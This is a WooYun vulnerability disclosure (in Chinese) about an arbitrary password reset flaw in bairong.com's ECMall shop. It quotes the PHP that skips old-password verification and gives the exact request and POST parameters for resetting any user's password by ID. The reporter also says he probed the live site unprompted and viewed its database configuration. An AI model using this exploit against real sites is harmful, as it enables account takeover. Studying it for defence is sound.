当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-060060

漏洞标题:百荣网ecmall任意密码修改漏洞紧急漏洞

相关厂商:bairong.com

漏洞作者:

提交时间:2014-05-10 09:05

修复时间:2014-06-24 09:06

公开时间:2014-06-24 09:06

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-10: 细节已通知厂商并且等待厂商处理中
2014-05-10: 厂商已经确认,细节仅向厂商公开
2014-05-20: 细节向核心白帽子及相关领域专家公开
2014-05-30: 细节向普通白帽子公开
2014-06-09: 细节向实习白帽子公开
2014-06-24: 细节向公众公开

简要描述:

上班中在群里瞎侃看到一群友发出北京本地的一家在线商城,无聊测试了下

详细说明:

QQ截图20140509164929.png


app/find_password.php
?
function set_password()
{
if (!IS_POST)
{
......
}
else //POST提交
{
if (empty($_POST['new_password']) || empty($_POST['confirm_password']))
{
$this->show_warning("unsettled_required");
return ;
}
if (trim($_POST['new_password']) != trim($_POST['confirm_password']))
{
$this->show_warning("password_not_equal");
return ;
}
$password = trim($_POST['new_password']);
$passlen = strlen($password);
if ($passlen < 6 || $passlen > 20)
{
$this->show_warning('password_length_error');
return;
}
$id = intval($_GET['id']);//虽然是过滤了,但是不影响利用.
$word = $this->_rand();
$md5word = md5($word);
$ms =& ms(); //连接用户系统
$ms->user->edit($id, '', array('password' => $password), true); //强制修改 !!问题就出在这儿,false是需要验证的,不知道程序员为什么要设置成非验证修改,偷懒也不是这么偷的吧... if ($ms->user->has_error())
{
$this->show_warning($ms->user->get_error());
return;
}
$ret = $this->_password_mod->edit($id, array('activation' => $md5word));
$this->show_message("edit_success",
'login_in', 'index.php?app=member&act=login',
'back_index', 'index.php');
return ;
}
}
includes/passports/default.passport.php

function edit($user_id, $old_password, $items, $force = false)

{

if (!$force) //为false时需要验证,为ture时直接跳过执行下面的操作

{

$info = $this->get($user_id);

if (md5($old_password) != $info['password'])

{

$this->_error('auth_failed');



return false;

}

}

$edit_data = array();

if (isset($items['password']))

{

$edit_data['password'] = md5($items['password']);

}

if (isset($items['email']))

{

$edit_data['email'] = $items['email'];

}



if (empty($edit_data))

{

return false;

}

//编辑本地数据

$this->_local_edit($user_id, $edit_data);//跟进



return true;

}
includes/passport.base.php
?
1
2
3
4
5
6
7
8
9
10
11
12
13

function _local_edit($user_id, $data)

{

$model_member =& m('member');

$model_member->edit($user_id, $data);\\执行update



return true;

}
访问:index.php?app=find_password&act=set_password&id=1
只需要POST提交new_password=123456&confirm_password=123456,当然不要忘了要修改的id,id是通过GET参数获得的.

漏洞证明:

QQ截图20140509165102.png


1.png


2.png

有一万多个会员啊
服务器配置的安全也有问题,看了数据库配置文件,在内网哦!

修复方案:

ecmall修复下就行了

版权声明:转载请注明来源 @乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:14

确认时间:2014-05-10 09:41

厂商回复:

感谢,正在修复。

最新状态:

暂无